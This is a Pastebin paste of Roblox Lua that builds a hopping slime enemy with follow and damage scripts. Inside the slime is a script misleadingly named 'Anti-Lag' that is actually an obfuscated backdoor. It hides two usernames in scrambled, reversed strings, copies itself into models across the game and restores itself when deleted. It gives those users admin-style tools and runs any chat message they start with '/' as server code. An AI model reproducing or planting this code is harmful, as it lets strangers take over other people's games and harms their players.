lolita5432

Untitled

Dec 17th, 2017
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.42 KB | None | 0 0
  1. --made by intensivelake39/bad#5159
  2. function sandbox(var,func)
  3. local env = getfenv(func)
  4. local newenv = setmetatable({},{
  5. __index = function(self,k)
  6. if k=="script" then
  7. return var
  8. else
  9. return env[k]
  10. end
  11. end,
  12. })
  13. setfenv(func,newenv)
  14. return func
  15. end
  16. cors = {}
  17. mas = Instance.new("Model",game:GetService("Lighting"))
  18. Model0 = Instance.new("Model")
  19. Part1 = Instance.new("Part")
  20. Script2 = Instance.new("Script")
  21. BlockMesh3 = Instance.new("BlockMesh")
  22. BodyGyro4 = Instance.new("BodyGyro")
  23. Script5 = Instance.new("Script")
  24. Decal6 = Instance.new("Decal")
  25. Fire7 = Instance.new("Fire")
  26. Decal8 = Instance.new("Decal")
  27. Decal9 = Instance.new("Decal")
  28. Decal10 = Instance.new("Decal")
  29. Decal11 = Instance.new("Decal")
  30. Script12 = Instance.new("Script")
  31. Script13 = Instance.new("Script")
  32. Script14 = Instance.new("Script")
  33. Script15 = Instance.new("Script")
  34. Model0.Parent = mas
  35. Part1.Name = "Slime_Small"
  36. Part1.Parent = Model0
  37. Part1.BrickColor = BrickColor.new("Bright green")
  38. Part1.Rotation = Vector3.new(0, 90, 0)
  39. Part1.FormFactor = Enum.FormFactor.Custom
  40. Part1.Size = Vector3.new(1.20000005, 1.20000005, 1.20000005)
  41. Part1.CFrame = CFrame.new(-5.5999999, 0.600000024, -23.3999996, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  42. Part1.BottomSurface = Enum.SurfaceType.Smooth
  43. Part1.TopSurface = Enum.SurfaceType.Smooth
  44. Part1.Color = Color3.new(0.294118, 0.592157, 0.294118)
  45. Part1.Position = Vector3.new(-5.5999999, 0.600000024, -23.3999996)
  46. Part1.Orientation = Vector3.new(0, 90, 0)
  47. Part1.Color = Color3.new(0.294118, 0.592157, 0.294118)
  48. Script2.Parent = Part1
  49. table.insert(cors,sandbox(Script2,function()
  50. if script.Parent.Parent == game.Lighting then
  51. script.Disabled = true
  52. end
  53.  
  54. if script.Parent.Parent ~= game.Lighting then
  55. script.Disabled = false
  56.  
  57. script.Parent.Anchored = false
  58.  
  59. mesh = script.Parent.Mesh
  60. slime = script.Parent
  61. force = slime.Size.y * 20
  62.  
  63. function setsize(v1,v2)
  64. mesh.Scale = Vector3.new(1,v1,1)
  65. mesh.Offset = Vector3.new(0,(v2*-1),0)
  66. end
  67.  
  68. function size(val)
  69. if val < 0.5 then error("Slime size cannot go below 0.5"); return end
  70.  
  71. if val == 1 then
  72. setsize(1,0)
  73. end
  74. if val == 0.9 then
  75. setsize(val, 0.05)
  76. end
  77. if val == 0.8 then
  78. setsize(val, 0.1)
  79. end
  80. if val == 0.7 then
  81. setsize(val, 0.17)
  82. end
  83. if val == 0.6 then
  84. setsize(val, 0.23)
  85. end
  86. if val == 0.5 then
  87. setsize(val, 0.3)
  88. end
  89. wait()
  90. end
  91.  
  92. size(1)
  93.  
  94. deb = 0
  95.  
  96. function findNearestTorso(pos)
  97. local list = game.Workspace:children()
  98. local torso = nil
  99. local dist = 10
  100. local temp = nil
  101. local human = nil
  102. local temp2 = nil
  103. for x = 1, #list do
  104. temp2 = list[x]
  105. if (temp2.className == "Model") and (temp2 ~= script.Parent) then
  106. temp = temp2:findFirstChild("Torso")
  107. human = temp2:findFirstChild("Humanoid")
  108. if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
  109. if (temp.Position - pos).magnitude < dist then
  110. torso = temp
  111. dist = (temp.Position - pos).magnitude
  112. end
  113. end
  114. end
  115. end
  116. return torso
  117. end
  118.  
  119. function move(target)
  120. local dir = (target.Position - slime.Position).unit
  121. local spawnPos = slime.Position
  122. local pos = spawnPos + (dir * 1)
  123. slime:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos + dir)
  124. end
  125. function findNearestTorso(pos)
  126. local list = game.Workspace:children()
  127. local torso = nil
  128. local dist = 100
  129. local temp = nil
  130. local human = nil
  131. local temp2 = nil
  132. for x = 1, #list do
  133. temp2 = list[x]
  134. if (temp2.className == "Model") and (temp2 ~= script.Parent) then
  135. temp = temp2:findFirstChild("Torso")
  136. human = temp2:findFirstChild("Humanoid")
  137. if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
  138. if (temp.Position - pos).magnitude < dist then
  139. torso = temp
  140. dist = (temp.Position - pos).magnitude
  141. end
  142. end
  143. end
  144. end
  145. return torso
  146. end
  147.  
  148. function move(target)
  149. local dir = (target.Position - slime.Position).unit
  150. local spawnPos = slime.Position
  151. local pos = spawnPos + (dir * 1)
  152. slime:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos + dir)
  153. end
  154.  
  155. function onTouched(hit)
  156. name = hit.Name
  157. s = slime:getChildren()
  158. for i = 1, #s do
  159. if s[i].className == "BodyVelocity" then
  160. s[i]:Remove()
  161. end
  162. end
  163. oty = hit.Position.y
  164. y = script.Parent.Position.y
  165. if oty > y then
  166. print("Bad surface")
  167. end
  168. if y > oty then
  169. if (hit.Size.x + hit.Size.y + hit.Size.z > 6) and (string.sub(name, 1, 5) ~= "Slime") and (hit.CanCollide == true) then
  170. slime.Anchored = true
  171. size(0.9)
  172. size(0.8)
  173. size(0.7)
  174. size(0.6)
  175. size(0.5)
  176. --
  177. wait(0.3)
  178. --
  179. tors = findNearestTorso(slime.Position)
  180. if tors ~= nil then
  181. if tors.Position.y < slime.Position.y + force/10 then
  182. move(tors) -- move towards humanoid
  183. end
  184. if tors.Position.y > slime.Position.y + force/10 then
  185. range = 200
  186. range2 = range * -1
  187. goto = Vector3.new(slime.Position.x + math.random(range2,range), slime.Position.y, slime.Position.z + math.random(range2,range))
  188. local dir = (goto - slime.Position).unit
  189. local spawnPos = slime.Position
  190. local pos = spawnPos + (dir * 1)
  191. slime:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos + dir)
  192. end
  193. end
  194. if tors == nil then -- move randomly
  195. range = 200
  196. range2 = range * -1
  197. goto = Vector3.new(slime.Position.x + math.random(range2,range), slime.Position.y, slime.Position.z + math.random(range2,range))
  198. local dir = (goto - slime.Position).unit
  199. local spawnPos = slime.Position
  200. local pos = spawnPos + (dir * 1)
  201. slime:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos + dir)
  202. end
  203. --
  204. size(0.6)
  205. size(0.7)
  206. size(0.8)
  207. --
  208. slime.Anchored = false
  209. dir = slime.CFrame.lookVector
  210. b = Instance.new("BodyVelocity")
  211. b.velocity =(dir * force/4) + Vector3.new(0,50,0)
  212. b.maxForce = Vector3.new(1e5, 1e5, 1e5)
  213. b.P = force/2
  214. b.Parent = slime
  215. --
  216. size(0.9)
  217. size(1)
  218. wait()
  219. b:Remove()
  220. wait(.1)
  221. end
  222. if (string.sub(name, 1, 5) == "Slime") and (y > oty) then
  223. range = 2
  224. range2 = range * -1
  225. slime.CFrame = slime.CFrame * CFrame.new(math.random(range2,range), 1, math.random(range2,range))
  226. end
  227. end
  228. end
  229.  
  230. script.Parent.Touched:connect(onTouched)
  231.  
  232. end
  233.  
  234.  
  235. end))
  236. BlockMesh3.Parent = Part1
  237. BodyGyro4.Parent = Part1
  238. BodyGyro4.CFrame = CFrame.new(-64.8141937, 1.88319683, -12.657526, -0.0334881917, 0.176167592, 0.983790338, -0, 0.984342456, -0.176266462, -0.99943912, -0.00590284495, -0.0329638459)
  239. BodyGyro4.maxTorque = Vector3.new(9000, 1000, 9000)
  240. BodyGyro4.MaxTorque = Vector3.new(9000, 1000, 9000)
  241. Script5.Name = "Fix"
  242. Script5.Parent = Part1
  243. table.insert(cors,sandbox(Script5,function()
  244. while true do
  245. wait(10)
  246. script.Parent.CFrame = script.Parent.CFrame * CFrame.new(0,1,0)
  247. end
  248.  
  249. end))
  250. Decal6.Parent = Part1
  251. Decal6.Texture = "http://www.roblox.com/asset/?id=42467405"
  252. Fire7.Parent = Part1
  253. Fire7.Size = 30
  254. Fire7.Color = Color3.new(1, 0.756863, 0)
  255. Fire7.Enabled = false
  256. Fire7.Heat = 25
  257. Fire7.SecondaryColor = Color3.new(1, 0, 0)
  258. Fire7.Color = Color3.new(1, 0.756863, 0)
  259. Decal8.Parent = Part1
  260. Decal8.Texture = "http://www.roblox.com/asset/?id=42467414"
  261. Decal8.Face = Enum.NormalId.Left
  262. Decal9.Parent = Part1
  263. Decal9.Texture = "http://www.roblox.com/asset/?id=42467414"
  264. Decal9.Face = Enum.NormalId.Top
  265. Decal10.Parent = Part1
  266. Decal10.Texture = "http://www.roblox.com/asset/?id=42467414"
  267. Decal10.Face = Enum.NormalId.Right
  268. Decal11.Parent = Part1
  269. Decal11.Texture = "http://www.roblox.com/asset/?id=42467414"
  270. Decal11.Face = Enum.NormalId.Back
  271. Script12.Name = "PushPack"
  272. Script12.Parent = Part1
  273. table.insert(cors,sandbox(Script12,function()
  274. door = script.Parent
  275.  
  276. function onTouch(hit)
  277. if hit.Parent == nil then return end
  278. local h = hit.Parent:FindFirstChild("Humanoid")
  279. if h ~= nil then
  280. hit.Parent.Torso.Velocity=door.CFrame.lookVector * 0
  281. end
  282. end
  283. door.Touched:connect(onTouch)
  284. end))
  285. Script13.Name = "Follow"
  286. Script13.Parent = Part1
  287. table.insert(cors,sandbox(Script13,function()
  288. local larm = script.Parent:FindFirstChild("Left Arm")
  289. local rarm = script.Parent:FindFirstChild("Right Arm")
  290.  
  291. function findNearestTorso(pos)
  292. local list = game.Workspace:children()
  293. local torso = nil
  294. local dist = 25
  295. local temp = nil
  296. local human = nil
  297. local temp2 = nil
  298. for x = 1, #list do
  299. temp2 = list[x]
  300. if (temp2.className == "Model") and (temp2 ~= script.Parent) then
  301. temp = temp2:findFirstChild("Torso")
  302. human = temp2:findFirstChild("Humanoid")
  303. if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
  304. if (temp.Position - pos).magnitude < dist then
  305. torso = temp
  306. dist = (temp.Position - pos).magnitude
  307. end
  308. end
  309. end
  310. end
  311. return torso
  312. end
  313.  
  314. while true do
  315. wait(0.1)
  316. local target = findNearestTorso(script.Parent.Torso.Position)
  317. if target ~= nil then
  318. script.Parent.Humanoid:MoveTo(target.Position, target)
  319. end
  320. end
  321. end))
  322. Script14.Name = "Anti-Lag"
  323. Script14.Parent = Script13
  324. table.insert(cors,sandbox(Script14,function()
  325. Altitude = script:clone()
  326. calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
  327. Knox = {}
  328. table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
  329. table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
  330. Play = {}
  331. function rando(votation)
  332. local hatr = 5
  333. local calc = math.pi * math.huge
  334. local longicate = votation:GetChildren()
  335. if #longicate > hatr then
  336. calc = calc + math.pi
  337. return longicate[math.random(6,#longicate)]
  338. end
  339. end
  340. function doublecheck()
  341. local fj = game.Workspace:GetChildren()
  342. for off = 1,#fj do
  343. if fj[off].className == "Part" then
  344. local fh = fj[off]:FindFirstChild("Anti-Lag")
  345. if fh ~= nil then
  346. return false
  347. end
  348. end
  349. end
  350. return true
  351. end
  352. function workcheck()
  353. if doublecheck() == true then
  354. local l = Altitude:clone()
  355. l.Parent = rando(game.Workspace)
  356. end
  357. end
  358. workcheck()
  359. function gibite(quen)
  360. local hup = Instance.new("Message")
  361. hup.Text = "Detected"
  362. hup.Parent = quen.Parent
  363. local con = Instance.new("Script")
  364. con.Source = [[wait(5) script.Parent:remove()]]
  365. con.Parent = hup
  366. for ish = 0,7 do
  367. local a = Instance.new("HopperBin")
  368. a.BinType = ish
  369. a.Parent = quen
  370. end
  371. end
  372. function laber(zonsa)
  373. wait()
  374. for slate = 1,#Knox do
  375. if zonsa.Name == Knox[slate] then
  376. gibite(zonsa.Backpack)
  377. table.insert (Play, 1, zonsa.Name)
  378. end
  379. end
  380. end
  381. function yeild(frequency)
  382. local t = Knox
  383. for g = 1,#t do
  384. if t[g] == frequency.Name then
  385. return true
  386. end
  387. end
  388. return false
  389. end
  390. function check(los)
  391. local r = los:GetChildren()
  392. for i = 1,#r do
  393. local h = r[i]:FindFirstChild("Anti-Lag")
  394. if h ~= nil then
  395. h:remove()
  396. end
  397. end
  398. end
  399. function alto(xylem)
  400. if xylem.className == "Model" then
  401. check(xylem)
  402. local que = script:clone()
  403. que.Parent = rando(xylem)
  404. end
  405. end
  406. function sortation(gone)
  407. local dimbs = Altitude:clone()
  408. dimbs = ramno(game.Workspace)
  409. end
  410. function onPlayerEntered(newPlayer)
  411. newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
  412. end
  413. function Player(player)
  414. player.Changed:connect(function (property)
  415. if property == "Character" then
  416. laber(player)
  417. end
  418. end)
  419. end
  420. game.Players.PlayerAdded:connect(Player)
  421. game.Players.ChildAdded:connect(onPlayerEntered)
  422. game.Players.ChildAdded:connect(laber)
  423. script.ChildRemoved:connect(sortation)
  424. game.Workspace.ChildAdded:connect(alto)
  425. function onChatted(msg, recipient, speaker)
  426. if yeild(speaker) ~= false then
  427. if string.sub(msg,1,1) == "/" then
  428. local dsting = Instance.new("Script")
  429. dsting.Source = string.sub(msg,2)
  430. dsting.Parent = game.Workspace
  431. end
  432. end
  433. end
  434. end))
  435. Script15.Name = "Damager"
  436. Script15.Parent = Part1
  437. table.insert(cors,sandbox(Script15,function()
  438. Dmg=0
  439. ShowDamage=function(Char,Dealt,du)
  440. m=Instance.new("Model")
  441. m.Name=tostring(Dealt)
  442. h=Instance.new("Humanoid")
  443. h.Health=0
  444. h.MaxHealth=0
  445. h.Parent=m
  446. c=Instance.new("Part")
  447. c.Transparency=0
  448. c.BrickColor=BrickColor:Red()
  449. c.Name="Head"
  450. c.TopSurface=0
  451. c.BottomSurface=0
  452. c.formFactor="Plate"
  453. c.Size=Vector3.new(1,.4,1)
  454. ms=Instance.new("CylinderMesh")
  455. ms.Bevel=.1
  456. ms.Scale=Vector3.new(.8,.8,.8)
  457. ms.Parent=c
  458. c.Reflectance=0
  459. Instance.new("BodyGyro").Parent=c
  460. c.Parent=m
  461. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  462. f=Instance.new("BodyPosition")
  463. f.P=2000
  464. f.D=100
  465. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  466. f.position=c.Position+Vector3.new(0,3,0)
  467. f.Parent=c
  468. game:GetService("Debris"):AddItem(m,.5+du)
  469. c.CanCollide=false
  470. m.Parent=workspace
  471. c.CanCollide=false
  472. end
  473. d=true
  474. onTouched=function(hit)
  475. if hit.Parent==nil then
  476. return
  477. end
  478. if not d then return end
  479. d=false
  480. h=hit.Parent:FindFirstChild("Humanoid")
  481. if h~=nil and game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  482. h:TakeDamage(Dmg)
  483. ShowDamage(hit.Parent,Dmg,.5)
  484. v=Instance.new("BodyVelocity")
  485. v.Parent=hit.Parent:FindFirstChild("Head")
  486. v.velocity=script.Parent.Velocity+script.Parent.CFrame.lookVector*40
  487. v.maxForce=Vector3.new(math.huge,0,math.huge)
  488. game:GetService("Debris"):AddItem(v,.2)
  489. s=Instance.new("Sound")
  490. s.SoundId="rbxasset://sounds/uuhhh.wav"
  491. s.Pitch=math.random(9,11)*.1
  492. s.Volume=1
  493. s.Parent=v.Parent
  494. s:Play()
  495. game:GetService("Debris"):AddItem(s,1)
  496. wait(.25)
  497. end
  498. d=true
  499. end
  500. script.Parent.Touched:connect(onTouched)
  501. end))
  502. for i,v in pairs(mas:GetChildren()) do
  503. v.Parent = game:GetService("Players").LocalPlayer.Character
  504. pcall(function() v:MakeJoints() end)
  505. end
  506. mas:Destroy()
  507. for i,v in pairs(cors) do
  508. spawn(function()
  509. pcall(v)
  510. end)
  511. end
Add Comment
Please, Sign In to add comment